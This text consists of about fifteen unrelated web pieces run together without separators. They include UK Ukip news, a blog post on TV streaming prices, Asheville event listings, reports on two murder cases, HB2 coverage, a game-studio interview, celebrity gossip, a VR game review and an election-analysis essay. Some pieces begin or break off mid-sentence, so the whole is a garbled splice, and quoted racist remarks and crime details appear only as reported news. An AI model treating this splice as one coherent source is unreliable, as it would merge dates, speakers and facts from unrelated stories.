MILLIONAIRE BACKER SUSPENDS DONATIONS Nigel Farage’s General Election plans were thrown into doubt last night after Ukip’s single-biggest funder announced that he was suspending donations. Multi-millionaire Paul Sykes, who has given Ukip about £1.3 million over the past year, said he wanted ‘grassroots’ members to finance the party’s Election campaign instead. He told The Mail on Sunday he was making ‘no commitment’ about future big donations to the party because that would ‘destroy’ Ukip’s bid to build up a grassroots base and he was ‘standing back’ because party membership fees were rising. He added: ‘I am making no commitment and no statement regarding me writing big cheques out to Ukip because it destroys the fabric of what we are trying to build.’ The move will potentially be a huge blow to Mr Farage’s plans for a breakthrough next year by winning Commons seats. Ex-tyre fitter Mr Sykes, whose cash was crucial to Ukip’s record results in this year’s European elections, has been the party’s single most important funder. Last night Mr Farage said: ‘For a political party to be too dependent on a few donors is not a good thing.’ Asked if Ukip could make up any donations shortfall from other sources, Mr Farage said: ‘We’ll have to.’ The party is reportedly in line for a £300,000 donation from Daily Express owner Richard Desmond.
Hamilton was forced to pull out after damaging information about his expenses claims were leaked by Ukip enemies.
Ukip insiders say Farage was determined to stop Hamilton because of his controversial past in the notorious ‘cash for questions’ scandal in the 1990s.
Hamilton’s allies claim Farage is ‘jealous’ of him and fears if Hamilton became MP for Basildon South and Farage fails to win in Thanet South across the Thames Estuary, Hamilton would be the party’s most high profile politician.
Some Ukip insiders say the decision to deselect Smith as Basildon South candidate earlier this year came after a copy of the recording was sent to party HQ. ‘Farage’s people heard it and that is why Kerry was booted out,’ said one insider.
‘They were panicked into reinstating him because they were more worried about Hamilton getting the seat.
‘They gambled that the tape wouldn’t be leaked. Now it has. It serves them right.
‘We cannot have grubby people like Kerry in the party, let alone standing for Parliament.’
Hamilton was on a list of five candidates in the running to become Ukip’s candidate for South Basildon.
He claimed he was the victim of a ‘dirty tricks’ campaign when a letter challenging claims for staying in his wife’s flat was leaked to the media just hours before the selection.
His withdrawal triggered a toxic row after the party’s second largest donor, Stuart Wheeler, reportedly threatened to cut off funds unless Hamilton was picked as a candidate for next year’s General Election.
It led to a furious reaction from Ukip’s treasurer, Andrew Reid, who said: ‘Nobody gets to buy a seat for someone else in Ukip.’
Ukip game to rate 'blacks' and Muslims to win £100... or golf umbrella: Farage in another race row over 'rate on immigrant' survey
The Ukip leader has found himself embroiled in another row over race
Nigel Farage was in another race row last night after asking supporters to rate ‘blacks, Muslims and Eastern Europeans’ in a game – with prizes of cash and a Ukip golf umbrella.
The ‘rate an immigrant’ survey is part of a Ukip private survey of members aimed at helping the party draw up its policies.
Sent last week by Ukip chairman Steve Crowther, it asks members to say ‘how close they feel’ to a number of groups.
They include ‘Blacks, Asians, Muslims, English, Eastern Europeans and Whites’ as well as the four main political parties.
Ukip activists are urged to rate each on a scale from 0 for ‘not close at all’ to 10 for ‘very close.’
But the survey was slammed as a racist stunt after details were leaked to The Mail on Sunday.
Last night, senior Labour MP Margaret Hodge condemned the Ukip survey as ‘shocking’.
Mrs Hodge, who won a campaign against the BNP in her Barking constituency in east London, said: ‘This openly brings race into politics. It’s shameful, it’s shocking and it’s offensive.
'It lifts the lid on the unacceptable face of Ukip.’ The survey comes after a series of claims of racism involving Ukip, although Farage has insisted ‘stupid or offensive’ comments by a handful of candidates ‘never have and never will’ represent the views of his party.
The email to thousands of Ukip members from chairman Crowther is headed: ‘Help the Party and Win Prizes!’
It declares: ‘Ukip is growing quickly. We want to strengthen our party by understanding our rapidly growing membership. We are asking all our members to complete a new survey.’
The aim was to ‘use the insights to strengthen the Ukip operation… Your responses will be invaluable in making sure we fulfil our promises over the coming years – and in government!
‘So please, do complete the survey. It should be fun! You might even win some prizes!’
Prizes included ‘one prize of £100, two of £50, three prizes of a Ukip golf umbrella, four prizes of £25, five Ukip notebooks and six Ukip pocket diaries.’
Other Ukip race rows include:
National executive member Gerard Batten’s call for Muslims to sign a ‘charter of understanding’ in which they rejected violence and parts of the Koran that promote ‘violent physical Jihad.’
Parliamentary candidate in Grimsby Victoria Ayling was recorded saying ‘let’s keep the blacks out’. Council candidate Andre Lampitt said Africans should ‘kill themselves’.
Council candidate William Henwood said Lenny Henry should ‘emigrate to a black country’.
Exeter activist David Challice denounced the ‘lunacy of multiculturalism’ and called Greeks ‘vile’.
Town hall candidate David Wycherley said Mo Farah was African, not British.Suppose you have been told “The Wire is the best serial fiction on any medium in the decade” which is (to be clear) not a claim that I am making but a claim I would like to investigate.
My first stop to consume an episode with lofty expectations is iTunes, which will let me pull down an episode for a mere $1.99. Not bad for one episode, but if the series lives up to the grand expectations, I will in fact be blowing $25-ish dollars per season for five seasons. Perhaps $125 is an entirely reasonable price point for 5 whole seasons of content, but I’m borderline about this whole TV thing–shouldn’t I be coding or something instead? And The Wire is a very special case on iTunes, for most “popular” primetime shows, you’re looking at $50-60 for a prime-time season of a single show, or $3 per episode, which seems insanely high to me. I would imagine that buying 3-5 shows would be competitive with a person’s cable bill during the same period, which seems silly to me (so much for cutting the cord…) Granted, it’s advertising-free, but it still seems insane.
Amazon Instant has a much more reasonable $1.39 per episode for The Wire, for a total damage closer to $90 for five seasons. Their primetime coverage is a lot more win too, netting a very competitive $1.99 per episode of most primetime TV (a full 33% off iTunes). However, Amazon has epic fail for supporting my iOS devices (the only device I have that works with Amazon Instant is my Mac, and only for streaming online, no downloads). I like to keep distracting stuff off my work computers, so it’s just not very convenient.
It turns out that HBO, the distributor for The Wire, has a great cross-platform streaming site that in fact supports iOS! Hurray! Please take my money! Well, no. I can sign up through my cable company, if I have HBO on some traditional TV cableish service, but not as an individual. We can’t run the risk of letting our streaming service cannibalize the bread-and-butter of the business. And even if I did subscribe to HBO, which is patently absurd, my cable provider isn’t even on the list of “supported partners.” So although HBO has this (presumably) nice streaming service set up, it is actually impossible for me to write a check to anyone for any amount of money and use it to stream The Wire. Nice work, guys.
It turns out that I can get five seasons of the Wire delivered to my house for $63 from (guess who) Amazon, a full 30% off Amazon Instant Video or a whopping 50% off iTunes’ price. Sure, I have to rip the DVDs myself with Handbrake, and stream them to my iPad with AirVideo, but it’s infinitely better than dealing with the DRM minefield of these other services. And you read that right: Amazon, the brown-uniform-guy-drives-a-package-to-your-house company, beats Amazon, the bits-on-a-fiber-cable-to-your-computer-monitor company. I think the UPS guys must pay to come to work.
Of course, that takes like a week shipping delay, plus CPU time, and I don’t care enough to actually take any action, because I should really be doing something productive instead. After 30 minutes of clicking around researching this, I realize it’s time to open XCode again.
I understand why this is, of course–complex licensing and pure greed. But while they’re busy trying desperately to squeeze the last drop of value out of the rag, my attention has already shifted. I can’t be alone in this–TV competes not just with XCode in my one apartment, but with people all over the world with Facebook, E-mail, iOS/console/PC games, easily-downloadable music, easily-downloadable/Redboxable/Streamable movies, Reddit, and a litany of other things way too long to list. On the whole, TV seems to be competing rather poorly in the market of attention, and is symptomatically in much more trouble than other “troubled” industries like music and news.
/ consult for your company / speak at your event? Good news! I'm an iOS developer for hire Contribute to the coffee fund so I can write more like it."Deregulator" by Anne Lemanski was made in 2011 out of copper wire and novelty money. (Photo: Courtesy of Asheville Art Museum)
1. It's campaign season: Check out Asheville Art Museum's political exhibit.
Art, like politics, can create change, which is why the Asheville Art Museum’s new exhibit, featuring political art, is titled "Creating Change." Let's face it: One of the biggest emotion-evoking issues right now is the election, and art is meant to illicit an emotional response. Running now through Oct. 30, "Creating Change" features photography, sculpture, paintings and prints from the 1930s to the present that challenge viewers to reflect on difficult issues and motivate viewers to action. The Asheville Art Museum is located in Pack Sqaure. A Sept. 30 Art Break event will feature a professor of political science, and an opening reception will be held for the exhibit on Oct. 7. For more information, head to ashevilleart.org.
2. Plan a day trip: Tweetsie Railroad opens its annual Halloween event.
This one's a little far out there, but it should be fun nonetheless. Plan a day trip to Blowing Rock this weekend for Tweetsie Railroad’s Ghost Train Halloween Festival, running Friday and Saturday nights from Sept. 23 through Oct. 29. The ghostly event opens at 7:30 p.m. each evening, and guests will be treated to the Ghost Train ride, a haunted house, Halloween shows, a 3-D maze, the "freaky forest," a warp tunnel and the Spooktacular Black Light Show. The theme park's regular attractions are open during the day. Tickets to the evening event are $36 per person and must be bought in advance at tweetsie.com.
3. "When Jekyll Met Hyde" opens at Magnetic 375.
"When Jekyll Met Hyde" is an original production from The Magnetic Theatre, starring Erik Moellering and opening Sept. 29 at 7:30 p.m. (Photo: Courtesy photo)
When The Magnetic Theatre opened its world premiere of Steven Samuels’ "When Jekyll Met Hyde" in 2011, the play was an huge hit, selling out nearly all of its extended run. This year, featuring an unusual twist, "When Jekyll Met Hyde" will be presented in an all-new production honoring the source material’s Victorian setting. Even if you've seen it before: the folks at Magnetic explain that you're in for a new treat. The play opens with low-cost previews on Sept. 29 and 30, and opening night is on Oct. 1. Performances run Thursdays through Saturdays through Oct. 29 at 7:30 p.m. each night. Previews cost $16 online at magnetictheatre.org and $19 at the door. All other performances are $21 online and $24 at the door.
4. Sara Watkins performs at the Grey Eagle.
Sara Watkins is a singer, songwriter and fiddler. She will stop by the Grey Eagle on Sept. 25. (Photo: Courtesy photo)
Here's the first of two Grey Eagle shows you should see this week: Sara Watkins. The singer-songwriter is playing a seated show in Asheville on Sept. 25. She packs a powerful voice and plays the fiddle, and we've got a full story on her performance here. Mikaela Davis opens up the show with her combination of psychedelic rock, folk and chamber pop. The show begins at 8 p.m. and costs $17 in advance at thegreyeagle.com.
5. Don't be offended by Wheeler Walker Jr.
OK — be offended if you want. But don't let it ruin your good time. Wheeler Walker Jr. is the musical persona of comedian Ben Hoffman, but his outlaw country music is no joke (though it is a little bit silly). He's the most profane country singer around, and he's coming to the Grey Eagle on Sept. 28 for a 9 p.m. show. For more information on the show or on the artist behind "Redneck Sh*t," click here. Tickets are $15-$18 and can be purchased at thegreyeagle.com.
He might dress like Hank Williams Jr., but Wheeler Walker Jr. is doing his own thing. (Photo: Courtesy photo)
Read or Share this story: http://avlne.ws/2dlJF84EMBED >More News Videos Family, friends gather to remember Katy teen and father, Deborah Wrigley reports.
EMBED >More News Videos The family of Adriana Coronado says they are relieved by the arrest
The teenager whose burned body was found in March was a casualty of her father's drug-running, according to court documents unsealed Wednesday.The 12-page search warrant affidavit reveals news details in the murders of Adriana Coronado, 14, and her father, Cesar Coronado. The teen was the subject of an Amber Alert in March.Investigators believe they were killed because of Cesar Coronado's involvement in the deadly cocaine trade. The man in custody on federal drug charges, Jose Solis, Jr. has been named a person of interest in the murders. The search warrant was for his home in rural Montgomery County.According to the affidavit, Solis is the man captured on video running away from where Cesar Coronado's burned truck was found.It also says he worked with Cesar Coronado, among others, to move cocaine via commercial bus from Laredo to Houston. Last October, federal agents seized 16 kilograms of cocaine from a bus and $48,000 from Coronado at the Mexican border and the affidavit suggests Solis became suspicious that Cesar Coronado was involved.At Coronado's apartment in west Houston, detectives found bloody foot and shoeprints as well as a federal subpoena last seen in Solis' possession. They questioned whether he was sending an "unknown message."Adriana's disappearance triggered an Amber Alert and frantic search before her body was found with bullet wounds and burned in west Houston. The affidavit says they also found evidence of sexual assault.Cesar Coronado's body was also found burned but in Walker County. Investigators believe the same gun was used to kill both. In March, officers removed several guns, ammunition, cash and drugs from Solis' home.In response, Juan Guerra, Solis' attorney told Eyewitness News:"We ask the public to reserve judgment until all the evidence has been collected and evaluated. This case is still a very active and ongoing investigation. Mr. Solis, being named a person of interest, does not mean that he is involved in the planning, carrying out, or tampering of evidence."Wednesday night, Adriana Coronado's aunt still questioned why the teen was killed and maintained the family had no idea about Cesar Coronado's alleged criminal activity.UPDATED, 2:08 PM: A Russian government official today laid to rest the possibility of his country banning Disney’s live-action Beauty and the Beast under its anti-“gay propaganda” law. The film has gotten the go-ahead from local officials. “We will issue the film distribution license without any problems. The minimum age is 16+,” Vyacheslav Telnov, who heads the Culture Ministry’s film unit, told Russian entertainment site KinoPoisk.ru. That is a higher age rating than films for kids and families usually receive. Walt Disney Studios Sony Pictures Releasing (WDSSPR) has not commented because they have not yet received the document. Read more details below.
PREVIOUSLY, May 4: The BBC is reporting that Russian officials could ban Disney’s new live-action Beauty and the Beast under the country’s anti-“gay propaganda” law. According to BBC News, Vitaly Milonov, an MP of the United Russia party, is urging Culture Minister Vladimir Medinsky to screen the film for compliance with the anti-gay law.
The Disney film is set for a March 16 release in Russia. Deadline has not independently verified the BBC report; Disney has not yet responded to a request for comment.
Bill Condon’s Beauty remake portrays Josh Gad’s LeFou character as smitten with the handsome cad Gaston. (See Gad performing the song “Gaston” above).
Here’s how Deadline critic Pete Hammond described the character:
“The villain of the piece is the dashing but devious Gaston (Luke Evans), who pursues Belle relentlessly, accompanied by Le Fou (Josh Gad), his sidekick who seems to be more interested in Gaston than Belle would ever be. Le Fou is said to be Disney’s first gay character — and already stirring a bit of controversy in Alabama — but the inference is not overt and lands more into bromance territory than anything else.”
Yesterday, a Christian-owned drive-in theater in Alabama announced that it would not show the new movie.
According to the BBC, Milonov has asked Medinsky to review the film and “take measures to totally ban” it if Beauty contains “elements of propaganda of homosexuality.”
“As soon as we get a copy of the film with relevant paperwork for distribution, we will consider it according to the law,” the BBC reported Medinsky saying.Anti-LGBT Law Inflicting Serious Economic Damage on North Carolina
The image at the top from the Charlotte Regional Visitors Authority shows just how much tourism adds to the local economy. A lot. But since Governor Pat McCrory signed HB2, an anti-LGBT bill, into law last month, well over 1000 jobs have been moved out of state, and well over 100 companies have expressed concern or anger, warning they may move or cancel plans to expand, costing the state millions of dollars.
Sadly for the good people of North Carolina, it just got worse.
The Charlotte Regional Visitors Authority (CRVA) says that the city has lost 13 conventions - four definite cancellations, another nine more "lost possibilities" - because of HB2, according to local NBC affiliate WNCN. HB2 is the expansive anti-LGBT law Republicans forced through the General Assembly and Gov. McCrory signed in the space of 12 hours.
Not only have 13 conventions decided against coming to Charlotte, but "there are at least 29 groups who say they are hesitant or concerned to bring their events and/or organizations," the CRVA says.
WNCN's Xavier Walton offered details on Twitter.
via @CLTTourism 29 groups concerned w/ coming to #CLT b/c #HB2 That's 89,723 room nights @wcnc At $100/night that's over $8.9m possibly gone — Xavier Walton (@xmanwalton) April 8, 2016
He calculates a total potential loss of $8.9 million in hotel room bookings alone. That does not include meals, transportation, shopping, sightseeing, etc.
It's clear HB2 is costing taxpayers literally millions of dollars.
Also announced today, Bruce Springsteen just canceled his show scheduled for Sunday in Greensboro, North Carolina, citing HB2 as the direct cause. "It is the strongest means I have for raising my voice in opposition to those who continue to push us backwards instead of forwards," he said.
And Paypal earlier this week announced it is canceling a $3.6 million expansion that would have created 400 new jobs. Red Ventures, a North Carolina based internet marketing company also announced it is reconsidering an expansion that would have added 500 jobs.
TV studio Lionsgate canceled shooting a new Hulu comedy in North Carolina, citing HB2. That's 100 jobs that went to Canada, not the Tar Heel State.
The list goes on and on.
"We have not taken away any rights that have currently existed in any city in North Carolina," Gov. McCrory claimed, defending HB2. That's false. He's claimed HB2 is just good "common sense." Voters in November will get to decide.
See a mistake? Email corrections to: [email protected]Tamriel’s running like a well-oiled machine. Every quarter brings a fresh batch of content for Bethesda’s The Elder Scrolls Online, engaging more and more players each time.
Tamriel’s running like a well-oiled machine. Every quarter brings a fresh batch of content for Bethesda’s The Elder Scrolls Online, engaging more and more players each time.
Yet, ESO’s success was not a foregone conclusion, as the MMORPG hit a few bumps when it launched back in 2014 and was met with mixed reviews.
Three years down the road, and with developer Zenimax Online Studios having worked hard to polish the title and provide regular content, ESO just released its eighth piece of DLC, Clockwork City, and reached ten million players earlier this year (and 2.5m monthly active users). A milestone that the studio celebrated last week by offering a Free Play Week and organising in-game events to please its community.
And the ESO community is something Zenimax Online Studio president and game director Matt Firor is really proud about.
“ESO has attracted a lot of players since launch, we announced we had ten million players last June so I think the community has evolved into a very stable group of people that love Elder Scrolls games and online RPGs,” he tells MCV. “We have a lot of crossover of console players, Elder Scrolls players, traditional MMO players and they all kind of mix together in ESO and it makes the game better for that because it’s not just one type of gamer. I was reading the message board and there was a console player who was playing for the first time and was like ‘How do I play this game? I’m used to Grand Theft Auto!’ But that’s why it’s so good, it’s because it has a really diverse mix of different player types.”
"We have a lot of crossover of console players, Elder Scrolls players, traditional MMO players and they all kind of mix together in ESO and it makes the game better for that"
Bringing the game to console a year after release is what helped ESO to diversify its fanbase, Firor explains.
“We had a big change when the console versions launched. That brought in all these players who played Skyrim and Oblivion on consoles. That brought in a lot of good energy because it brought in people who weren’t very much tied to traditional WoW-style MMOs. I think that was the biggest change. And it was all for the better because now different types of players mix and everyone learns to play the game they want to play.”
He’s keen to emphasise that knowing who your players are is the key to engagement as it allows the team to aim content at different types of players – and it probably explains why the game has met with so much success.
“You can have three different players who play ESO regularly describe the game and they’ll describe a completely different game because it’s so big and there’s PvP and there’s dungeons and there’s exploration… But, with each of our DLC, we try to aim the content at a different player type so that everyone has new things in the type of gameplay that they like. So in Morrowind, for example, we added a huge zone and a lot of stories and exploration but we also added a new PvP type. We also had the Horns of the Reach, which is a dungeon DLC, so we really try to keep new content coming to each of the different kinds of players.”
WIND WAKER
Morrowind was more than DLC though. It’s what Zenimax Online Studios calls a new chapter: a full expansion pack that released in June and also launched at retail. For Firor, boxed products are another key to maintain engagement, as they act as a reminder.
“Sure retail means boxes but it also means digital sales on PlayStation and Xbox consoles, or on Steam. So it’s definitely relevant. I would say in Europe it’s a little more relevant than in the States or Canada where a lot of people download, meaning mainly digital sales. But it’s always good to have a ‘new product’ [at retail] because it keeps the game very fresh in people’s minds. They walk into the store and they see it like ‘Oh, I remember that!’, so it’s always good.”
It proved to be a smart move as Morrowind had strong physical launch sales in the UK despite being a digital focused title. And there’s more of this strategy to come, Firor tells us.
“Morrowind was the ‘next level’ of our strategy and it’s proven to be very very successful so I think we’ll stick with, hopefully, annual chapters, like bigger things, and then DLC every quarter. We’ll keep up with that.”
"Sure retail means boxes but it also means digital sales on PlayStation and Xbox consoles, or on Steam. So it’s definitely relevant."
Chapters like Morrowind help to expand the community as well, as players are free to start from this point without knowing the base game. As such, Morrowind’s success marked the beginning of a shift of strategy for Zenimax – one that the company will continue to apply in the future, Firor says.
“Part of the strategy we started with Morrowind was when we release a chapter, we want players to start there, right? So it almost feels like a new game and it’s funny cause most single-player console games are 20, 30, 50 hours of content – that’s how big Morrowind is! It’s the size of a full console game. And so if a player wants to buy the game, just play through Morrowind and then stop, that’s fine. It has its own tutorial and it’s a little better than the old tutorial because that was done so long ago.
“So every time we do a chapter, we’ll do that, we’ll have a tutorial and you could just start and play there or you can bring your own character over. And that gives new players the chance to jump in and they don’t feel like they are behind the curve.”
FINDING A BALANCE
Despite 2017 being a troubled time for micro-transactions, ESO’s economy doesn’t seem to be affected by such controversy (though you’d always find complaints about it on the game’s forums), with its business model having found a balance between non-compulsory subscriptions, microtransactions and in-game currency purchases.
“We still have subscriptions and a lot of players still subscribe, it’s just optional, and so our DLC model is that if you subscribe you get access to all the DLC [for free], or you can buy them with in-game currency. So that has been very successful. And, of course, we have the Crown Store which is more for customisation and cool mounts and stuff like that and that’s done super well too.”
Having finally found its pace despite middling beginnings, ESO is now here to stay, as Matt Firor and his teams have ambitious plans for the MMO’s future.
“We have a good thing going, we’re extremely successful, we just want to make sure we keep DLC coming, make sure we fix bugs and polish combat and keep a lot of content coming through chapters,” he says. “We have two years, at least, of things I know are going in and then we have ideas for after that.”
He continues: “Regular content, keeping players happy, that’s all we’re doing. ESO is very much a game-as-a-service, which is a term we don’t use a lot but it really is a service at this point, and so we want to make sure that it works and keep a lot of new stuff coming in.”
With ESO being well on track to keep achieving great things, and having worked at Zenimax Online Studios since day one, we dare to ask Firor if he and his teams will ever work on a new project anytime soon. He smiles: “At some point maybe but we have so much more to do on ESO that it’s hard to think about that.“Three witnesses were called Monday as a preliminary hearing got underway Monday in Orange County Superior Court in Westminster for two women charged with murder in connection with the beating of Kim Pham.
Pham, 23, was beaten outside The Crosby nightclub in downtown Santa Ana shortly after midnight on January 18.
RELATED: Cell phone video shows Pham punching defendants
She was taken off life support and died three days later. A coroner's report said Pham died from complications of "blunt force trauma to the head."
Candace Brito, 27, and Vanesa Zavala, 25, have pleaded not guilty to murder charges. Both are being held in jail in lieu of $1 million bail.
Updates
Update 4:40 p.m. Video evidence introduced, a few seconds shown
Santa Ana police detective Roland Andrade took the stand after the afternoon break.
Andrade testified that he interviewed three people about the incident; he identified witnesses in court as Beverly M, Aaron R and Jason L. (Pino continued to use initials only for the last names of witnesses that had been interviewed after the altercation during the hearing, but defense attorneys used the last names).
Andrade testified, on questioning from DA Troy Pino, that Aaron R had observed the fight through his cell phone as he recorded the altercation.
Andrade: "He (Aaron R) indicated on female kicked Ms. Pham and that a second woman came and kicked Pham on the ground and that kick knocked her (Pham) her out."
Andrade testified that Aaron had a total of four recordings of the altercation, including two that were recorded after paramedics arrived.
Pino introduced the video into evidence that was recorded by Aaron R. It was not shown in the courtroom.
Pino: "Did you contact a Jason L?" Andrade: "Yes, he was in line at The Crosby and described the Hispanic female saying something similar to 'excuse me' in a somewhat sarcastic manner and (Pham) responded with obscenities … Ms. Pham broke free from two members of her party and then struck one of the Hispanic females."
After he was shown a photo array, Andrade said Jason L recognized Zavala as being there (at the altercation) but he did not recognize Brito or identify either as having kicked Pham.
Molfetta questioned Andrade on what Jason L told him about the altercation.
Molfetta asked if Jason L told Andrade that Pham started the fight. Andrade responded: "yes."
Andrade: "He (Jason L) described Pham as calling the Hispanic group 'bitches' and something along the line of 'I'll f**k you up.'" Molfetta: "He told you the Hispanic girl didn't want to fight." Andrade: "Yes, sir." Molfetta: "He told you that Kim is able to break free from her friends and hits the Hispanic girl in her face." Andrade: "Yes, sir."
Andrade testified he went to the hospital where Pham was taken.
Reed asked Andrade, who worked with detective McLeod on the follow-up investigation, if there was alcohol in Pham's system.
Andrade: "There was alcohol in her system." Reed: "Do we know who else was involved in this fighting? Andrade: "I can only speak for the interviews we conducted sir, and efforts were made to contact those people who were there (at the scene of altercation), including names, contacts, witnesses." Reed: "But we don't have any names do we?" Andrade: "We have some but not all of them." Reed: "Jason L testified Pham struck at two Hispanic girls, did you ever figure out which one she (Pham) struck?" Andrade: "No sir."
Santa Ana police department homicide detective, Leo Rodriguez, is the lead investigator in the case and was the next witness called by DA Pino.
He testified that he spoke with Vanesa Zavala twice while she was held in custody, the first time after she was arrested.
Pino: "What did you ask her and what did she say?" Rodriguez: "She told me she was there with two girlfriends (including Candace Brito) and two males, one she identified as her boyfriend Michael, and Emilia's boyfriend."
Rodriguez said Zavala told him her group was leaving The Crosby; Ms. Zavala said she was in front of the group with her boyfriend. She said her friend and Pham called each other names. Then the "Asian girl took a swing at Emilia but hit her (Zavala)."
"She said everything went crazy, she dropped her phone and started looking for her phone on the ground."
Pino: "And then you asked Zavala further questions about the incident?" Rodriguez: "Her reaction was maybe to hit back and she might have swung at her once." Pino: "And she tells you this after you say you have the video." Rodriguez: "Yes."
Rodriquez told Pino that Zavala told him that she "didn't kick the Asian girl, another statement she made was that she didn't remember kicking."
He also testified that he interviewed Brito in her driveway prior to her arrest and that he |
to wag, however. The mysterious Lady Clara, come from Amsterdam in the company of the noble Captain Van Der Meer, has the whole of Bath agog. Who is she, really? What is she, really?
But there’s something terrible beneath the veneer of Georgian gentility. As awful a horror as the Doctor has ever exposed, hidden inside Balsam’s Brassworks. Something that needs to be brought to light, for the sake of all humanity.UPDATE: Looks as if Lauren Bushnell hasn't returned to a former boyfriend after all! A separate source clarifies that the reality star is actually dating a lucky guy by the name of Devin Antin. Our insider says Lauren and Devin were strictly friends before she filmed The Bachelor, and things recently took a romantic turn.
"They are dating exclusively," the source adds. "It happened fast." We've learned that after Bushnell returned to Los Angeles following her breakup from Ben Higgins, she and Devin hung out as friends and then it turned into something more.
________
Lauren Bushnell is rekindling an old flame.
Less than two months after The Bachelor star and Ben Higgins called off their year-long engagement, a source tells E! News Lauren has moved on with someone from her past. The Los Angeles native has been back together with ex-boyfriend Sean Evans since June, our insider reveals, shortly after she and Higgins went public with their split.
According to reports, Lauren and Sean dated for about three years before calling it quits in 2015. Speculation that the reality star had moved on with someone new sparked when Sean suddenly began popping up on her social media. It appears the couple celebrated Fourth of July together, and recently attended a Los Angeles Dodgers game.
So what made Bushnell, 25, jump back in the dating pool? Our insider says Evans is a pretty steady constant in her life.Five Nights at Freddy’s? A major motion picture? Oh how far we’ve come.
The Hollywood Reporter reports (Hollywoodly) that Freddy Fazbear and his horrifying animatronic pals are headed to the big screen. Warner Bros is heading up the production. It will be produced by Roy Lee of Vertigo Entertainment (Run All Night, The Ring, The Grudge), along with Seth Grahame-Smith and David Katzenberg of KatzSmith Productions (both of whom are working on a Beetlejuice sequel). They’ve put the project out to writers.
It sounds like Five Nights at Freddy’s creator Scott Cawthon will be involved in some capacity if this thing actually gets off the ground. Check out these totally enthused and not at all vomited from the dead-eyed press release machine quotes:
“We’re looking forward to working with Scott to make an insane, terrifying and weirdly adorable movie,” said Grahame-Smith. “The story really lends itself to being a movie and it taps into a largely unexplored niche of horror that a lot of people will be able to relate to,” said Cawthon.
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So that’s... unexpected. Except it’s really not. Five Nights at Freddy’s has gone from a Steam Greenlight mad science experiment to a nationwide sensation with a million-billion clones. Of course a major movie studio would latch onto what could maybe possibly potentially be its next horror mega-hit. And hey, lots of people watch other people play the game on YouTube anyway. Maybe this will just be a Let’s Play with ungodly high production values.
Then again, video game movies are famously good at ending up in Hollywood purgatory, which is often functionally equivalent to Hollywood hell. I suppose we’ll just have to wait and see. Probably double-check that your lights are working.
To contact the author of this post, write to nathan.grayson@kotaku.com or find him on Twitter @vahn16.Medically Safe & Convenient
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NOTE: Our new, smallest trainer is narrower than a tampon. This size is particularly suited for women who have difficulty with tampon insertion and also helps to assist with a smooth transition to larger sizes.Making a video game based upon another mediums franchise can be filled with pitfalls. More often than not the final product never lives up to the expectations of fans, either deviating from the core material or just a haphazard job that’s been rushed out to cash in. Adult Swim’s Rick and Morty has built up a strong fan base from its first two seasons and all eyes will be on developer Owlchemy Labs with the launch of Rick and Morty: Virtual Rick-ality. Has it been worth it, yes it certainly has.
Owlchemy Labs has taken Rick and Morty and combined it with the gameplay style of studio’s popular VR experience Job Simulator, fleshing the idea out with an original storyline and masses of interactivity. Straight from the off there’s stuff to play with before even getting into the main game itself, and once you’re tuned into the simple control mechanics it’s easy to just while away several hours playing with all the random items in Rick’s garage.
Everything revolves around this one location, while it may not look like much there are objects hidden everywhere, and playing through the campaign will help you work out what’s what. Fans of the cartoon series will be instantly at home here, finding all sorts of nods to their favourite episodes. The entire experience does feel like its built purely by fans for the fans, so if you enjoy the franchise then you’ll have a massive grin from start to end. That’s not to say those who’ve never seen the cartoon won’t appreciate the title, but they’ll certainly miss a lot of the in jokes.
Naturally, comedy plays a big part. All the voices are performed by the original cast, and the humour and cutting wit of the cartoon is there, expertly drawing you in so that you are now part of another wacky scheme. As such this isn’t a video game for kids, there’s plenty of swearing throughout.
Such is the polish of Rick and Morty: Virtual Rick-ality that you may not realise how much time you’ve actually spent within the the title. The core story is split into nine sections with a freeplay mode opening up at the end. The first playthough should last a couple of hours or so, but it can feel much shorter due to the level of immersion. As a single-player experience there’s always the worry of replayability, a campaign can only be enjoyed so many times if there’s no variation. Thankfully Owlchemy Labs has thought of this adding plenty of little touches that’ll keep players coming back for more (without spoiling too much, the game within a game Troy is worth going back to).
If you enjoy this style of interactive VR experience then you’ll appreciate Rick and Morty: Virtual Rick-ality even if you’ve not seen the cartoon, there’s even sections catering to first-person shooter (FPS) fans. Really though this is a video game for those that love Rick and Morty, and quite frankly that’s no bad thing. Rick and Morty: Virtual Rick-ality is a madcap, fun filled adventure from start to finish, perfectly suiting VR’s qualities, it should not be missed.If Donald Trump wins the Republican presidential nomination, he’ll have undermined a lot of assumptions we once held about the GOP. He’ll have become the nominee despite neither being reliably conservative nor being very electable, supposedly the two things Republicans care most about. He’ll have done it with very little support from “party elites” (although with some recent exceptions like Chris Christie). He’ll have attacked the Republican Party’s three previous candidates — Mitt Romney, John McCain and George W. Bush — without many consequences. If a Trump nomination happens, it will imply that the Republican Party has been weakened and is perhaps even on the brink of failure, unable to coordinate on a plan to stop Trump despite the existential threat he poses to it.
Major partisan realignments do happen in America — on average about once every 40 years. The last one, which involved the unwinding of the New Deal coalition between Northern and Southern Democrats, is variously dated as having occurred in 1968, 1972 and 1980. There are also a lot of false alarms, elections described as realignments that turn out not to be. This time, we really might be in the midst of one. It’s almost impossible to reconcile this year’s Republican nomination contest with anyone’s notion of “politics as usual.”
If a realignment is underway, then it poses a big empirical challenge. Presidential elections already suffer from the problem of small sample sizes — one reason a lot of people, certainly including us, shouldn’t have been so dismissive of Trump’s chances early on. Elections held in the midst of political realignments are even rarer, however. The rules of the old regime — the American political party system circa 1980 through 2012 — might not apply in the new one. And yet, it’s those elections that inform both the conventional wisdom and statistical models of American political behavior.
This doesn’t necessarily mean we’ll be completely in the dark. For one thing, the polls — although there’s reason to be concerned about their condition in the long-term — have been reasonably accurate so far in the primaries. And some of the old rules will still apply. It’s probably fair to guess that Pennsylvania and Ohio will vote similarly, for example.
Still, one should be careful about one’s assumptions. For instance, the assumption that the parties will rally behind their respective nominees may or may not be reliable. True, recent elections have had very little voting across party lines: 93 percent of Republicans who voted in 2012 supported Romney, for example, despite complaints from the base that he was insufficiently conservative. And in November 2008, some 89 percent of Democrats who voted supported Barack Obama after his long battle with Hillary Clinton.
But we may be entering a new era, and through the broader sweep of American history, there’s sometimes been quite a bit of voting across party lines. The table below reflects, in each election since 1952, what share of a party’s voters voted against their party’s presidential candidate (e.g., a Democrat voting Republican or for a third-party ticket). There’s a lot of fascinating political history embedded in the table, but one theme is that divisive nominations have consequences.
